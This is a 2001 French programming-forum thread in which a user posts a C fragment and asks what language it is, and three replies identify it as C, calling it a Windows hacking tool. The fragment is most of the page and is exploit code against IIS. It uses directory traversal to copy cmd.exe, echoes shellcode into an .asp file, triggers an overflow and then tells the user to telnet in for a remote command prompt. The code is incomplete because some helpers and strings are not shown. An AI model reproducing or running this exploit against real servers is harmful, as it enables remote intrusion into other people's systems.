Forum |  HardWare.fr | News | Articles | PC | S'identifier | S'inscrire | Shop Recherche
1002 connectés 

  FORUM HardWare.fr
  Programmation

  c koi kom langage ca ? plz

 


 Mot :   Pseudo :  
 
Bas de page
Auteur Sujet :

c koi kom langage ca ? plz

n°15317
Bancho
cHoBaN RoX
Posté le 22-02-2001 à 02:01:14  profilanswer
 

//This function moves cmd.exe from winnt\system32 to the found executable directory
 int SockFD,i;
 struct sockaddr_in DstSAin;
 char waste[5000],uniwaste[500];
 char space[3];
 char *buffer;
 
 printf("Sending the exploit...\n" );
 memset(uniwaste,0,499);
 for(i=0;i<8;i++)
 {
  strcat(uniwaste,".." );
  strcat(uniwaste,UNISTRING); //Create our drop back url string
 }
 memset(space,0,3);
 strcpy(space,"%20" );
 memset(waste,0,5000);
 //Create our request buffer that sends cmd.exe (now eeyehack.exe) /c echo ourshellcode > [executable dir]\eeyerulez.asp
 sprintf(waste,"GET /%s/%s/%s/eeyehack.exe?/c%secho%s%s%s>%s%s\\eeyerulez.asp HTTP/1.0\n\n",exedir,uniwaste,localpath+3,space,space,shellcode,space,space,localpath);
 SockFD=socket(AF_INET,SOCK_STREAM,0);
 DstSAin.sin_family = AF_INET;
 DstSAin.sin_port = htons(port);
 DstSAin.sin_addr.s_addr=iplookup(host);
 if(!connect(SockFD,(struct sockaddr *)&DstSAin, sizeof(DstSAin)))
 {
  send(SockFD,waste,strlen(waste),0); //send the echo command and shellcode
 }
 closesocket(SockFD);
 //Now request the .asp file and cause the overflow
 SockFD=socket(AF_INET,SOCK_STREAM,0);
 DstSAin.sin_family = AF_INET;
 DstSAin.sin_port = htons(port);
 DstSAin.sin_addr.s_addr=iplookup(host);
 if(!connect(SockFD,(struct sockaddr *)&DstSAin, sizeof(DstSAin)))
 {
  memset(waste,0,5000);
  sprintf(waste,"GET /%s/eeyerulez.asp HTTP/1.0\n\n",exedir);
  //Request eeyerulez.asp from the remote server
  //IIS then tries to process our .asp file and when it reads in the script language buffer it overflows and executes our code
  send(SockFD,waste,strlen(waste),0);
  buffer=GetData(SockFD);
  if(strlen(buffer)==0)
   //If we do not get any data back from the server (server crashes) then our exploit probably worked
   printf("Exploit sent! Now telnet to %s on port %i and you should get a cmd prompt.\n", host, tport);
  else
   //If we do get data back from the server then they are probably patched
   printf("Exploit failed.\n" );

mood
Publicité
Posté le 22-02-2001 à 02:01:14  profilanswer
 

n°15318
JWhy
je peux plier (héhé)
Posté le 22-02-2001 à 02:14:30  profilanswer
 

ca ressemble beaucoup a du C, mais je peux me tromper !


---------------
www.alliancefrancophone.org ... Home is where the heart is
n°15319
JWhy
je peux plier (héhé)
Posté le 22-02-2001 à 02:15:09  profilanswer
 

Sale hacker !  
:lol:


---------------
www.alliancefrancophone.org ... Home is where the heart is
n°15320
iskream
Posté le 22-02-2001 à 02:32:17  profilanswer
 

Ca c'est du C, et c'est aussi un programme destiné à hacker Windows...


Aller à :
Ajouter une réponse
  FORUM HardWare.fr
  Programmation

  c koi kom langage ca ? plz

 

Sujets relatifs
Besoin d'aide pour l'interface graphique TKINTER du langage pythonLangage C et base de registre
[Sondage/UNIX] Sondage n'est pas un langage :DDebutant en langage C, cherche compilateur et editeur !
Plus de sujets relatifs à : c koi kom langage ca ? plz


Copyright © 1997-2022 Hardware.fr SARL (Signaler un contenu illicite / Données personnelles) / Groupe LDLC / Shop HFR